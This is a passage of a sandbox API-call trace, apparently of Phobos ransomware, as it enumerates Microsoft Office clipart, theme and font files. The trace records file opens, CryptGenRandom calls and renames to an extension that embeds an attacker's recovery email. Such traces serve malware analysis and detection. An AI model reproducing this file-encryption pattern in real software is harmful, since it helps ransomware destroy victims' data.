"c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif")) returned 0x220 [0155.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.056] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=765) returned 1 [0155.056] CloseHandle (hObject=0x528) returned 1 [0155.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif")) returned 0x220 [0155.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.058] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2316) returned 1 [0155.058] CloseHandle (hObject=0x528) returned 1 [0155.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif")) returned 0x220 [0155.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.058] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.060] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1409) returned 1 [0155.060] CloseHandle (hObject=0x528) returned 1 [0155.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif")) returned 0x220 [0155.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.062] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1007) returned 1 [0155.062] CloseHandle (hObject=0x528) returned 1 [0155.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif")) returned 0x220 [0155.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.065] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.071] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19132) returned 1 [0155.071] CloseHandle (hObject=0x528) returned 1 [0155.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif")) returned 0x220 [0155.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.072] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.074] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4971) returned 1 [0155.074] CloseHandle (hObject=0x528) returned 1 [0155.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif")) returned 0x220 [0155.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.074] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.077] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3012) returned 1 [0155.077] CloseHandle (hObject=0x588) returned 1 [0155.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif")) returned 0x220 [0155.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.077] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.078] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1594859) returned 1 [0155.078] CloseHandle (hObject=0x588) returned 1 [0155.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx")) returned 0x220 [0155.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx")) returned 0 [0155.078] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.079] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1837531) returned 1 [0155.079] CloseHandle (hObject=0x588) returned 1 [0155.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx")) returned 0x220 [0155.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx")) returned 0 [0155.079] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.080] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=326027) returned 1 [0155.080] CloseHandle (hObject=0x588) returned 1 [0155.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx")) returned 0x220 [0155.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.080] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.081] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8705569) returned 1 [0155.081] CloseHandle (hObject=0x588) returned 1 [0155.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx")) returned 0x220 [0155.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx")) returned 0 [0155.081] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.082] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1623260) returned 1 [0155.082] CloseHandle (hObject=0x588) returned 1 [0155.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx")) returned 0x220 [0155.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx")) returned 0 [0155.082] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.387] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=864810) returned 1 [0155.387] CloseHandle (hObject=0x528) returned 1 [0155.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx")) returned 0x220 [0155.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.387] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.389] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3615) returned 1 [0155.389] CloseHandle (hObject=0x528) returned 1 [0155.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml")) returned 0x220 [0155.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.389] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.390] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3546) returned 1 [0155.390] CloseHandle (hObject=0x528) returned 1 [0155.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml")) returned 0x220 [0155.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.391] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), 